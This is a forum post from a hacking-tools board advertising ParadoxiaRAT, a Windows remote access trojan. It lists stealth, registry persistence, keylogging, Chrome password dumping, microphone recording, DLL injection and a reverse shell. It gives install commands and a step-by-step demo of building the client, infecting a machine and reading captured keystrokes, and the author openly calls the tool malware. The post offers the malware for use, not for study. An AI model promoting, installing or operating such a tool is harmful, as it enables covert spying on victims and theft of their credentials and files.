# ParadoxiaRAT | Native Windows Remote Access Tool

**URL:** <https://onehack.st/t/paradoxiarat-native-windows-remote-access-tool/162157>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, networking, windows\
**Created:** [November 11, 2020, 1:22pm UTC](https://onehack.st/t/paradoxiarat-native-windows-remote-access-tool/162157 "2020-11-11T13:22:31Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\
**Post date:** [November 11, 2020, 1:22pm UTC](https://onehack.st/t/paradoxiarat-native-windows-remote-access-tool/162157/1 "2020-11-11T13:22:31Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/a/8/a851a77bb80d193843233f1727bd09aa8f418c29.png)

Paradoxia Remote Access Tool.

### Features

##### Paradoxia Console

| Feature | Description |
| --- | --- |
| Easy to use | Paradoxia is extremely easy to use, So far the easiest rat! |
| Root Shell | - |
| Automatic Client build | Build Paradoxia Client easily with or without the icon of your choice. |
| Multithreaded | Multithreaded Console server, You can get multiple sessions. |
| Toast Notifications | Desktop notification on new session |
| Configurable Settings | Configurable values in `paradoxia.ini` |
| Kill Sessions | Kill Sessions without getting in session. |
| View Session information | View Session information without getting in Session. |

##### Paradoxia Client

| Feature | Description |
| --- | --- |
| Stealth | Runs in background. |
| Full File Access | Full access to the entire file system. |
| Persistence | Installs inside APPDATA and has startup persistence via Registry key. |
| Upload / Download Files | Upload and download files. |
| Screenshot | Take screenshot. |
| Mic Recording | Record Microphone. |
| Chrome Password Recovery | Dump Chrome Passwords using Reflective DLL (Does not work on latest version) :shipit: |
| Keylogger | Log Keystrokes and save to file via Reflective DLL. |
| Geolocate | Geolocate Paradoxia Client. |
| Process Info | Get Process information. |
| DLL Injection | Reflective DLL Injection over Socket, Load your own Reflective DLL, OR use ones available [here](https://github.com/quantumcored/maalik/tree/master/payloads). |
| Power off | Power off the Client system. |
| Reboot | Reboot the client system. |
| MSVC + MINGW Support | Visual studio project is also included. |
| Reverse Shell | Stable Reverse Shell. |
| Small Client | Maximum size is 30kb without icon. |

### Installation (via APT)

$ git clone [https://github.com/quantumcored/paradoxiaRAT](https://github.com/quantumcored/paradoxiaRAT) $ cd paradoxiaRAT $ chmod +x install.sh $ sudo ./install.sh

### Example Usage :

- Run Paradoxia

```auto
sudo python3 paradoxia.py

```

- Once in paradoxia Console, The first step would be to build the Client, Preferably with an Icon.

[![pd1](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd1.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd1.PNG)

- After that’s built, As you can see below it is detected by Windows Defender as a severe malware. Which is expected since it IS malware.

[![pd2](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd2.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd2.PNG)

- I’m going to transfer the client on a Windows 10 Virtual machine and execute it. After Executing it, It appears under Startup programs in task manager.

[![pd3](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd3.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd3.PNG)

- Also it has copied itself inside Appdata directory and installed under the name we specified during build.

[![pdmiss](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pdmiss.PNG)](https://github.com/quantumcored/paradoxiaRAT/blob/master/images/pdmiss.PNG)

- At the same time, I get a session at server side.

[![pd4](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd4.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd4.PNG)

- First thing I’d do is get in the session and view information.

[![pd5](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd5.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd5.PNG)

- There are plenty of things we can do right now, but for example only, I will demonstrate keylogging.

[![pd6](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd7.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd7.PNG)

You can see in the image above that It says it successfully injected dll, And in file listing there is a file named `log.log`, Which contains the logged keystrokes.

- Lets view captures keystrokes.

[![pd7](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd8.PNG)](https://github.com/quantumcored/paradoxiaRAT/raw/master/images/pd8.PNG)

### Changelogs

- This repository was home to 3 tools previously, [Iris](https://github.com/quantumcored/iris), [Thawne](https://github.com/quantumcored/thawne) and Previous version of Paradoxia. This can be found [here](https://github.com/quantumcored/paradoxiaRAT/tree/930a396cb64744de0d8cd14e55540a97ba9fa452).
- Everything is entirely changed, Client has been rewritten, Infodb removed. Much new features added. Stability added.

## GitHub:

> **[GitHub - quantumcore/paradoxiaRAT: ParadoxiaRat : Native Windows Remote access Tool.](https://github.com/quantumcore/paradoxiaRAT)**
>
> ParadoxiaRat : Native Windows Remote access Tool.

**Enjoy!** ❤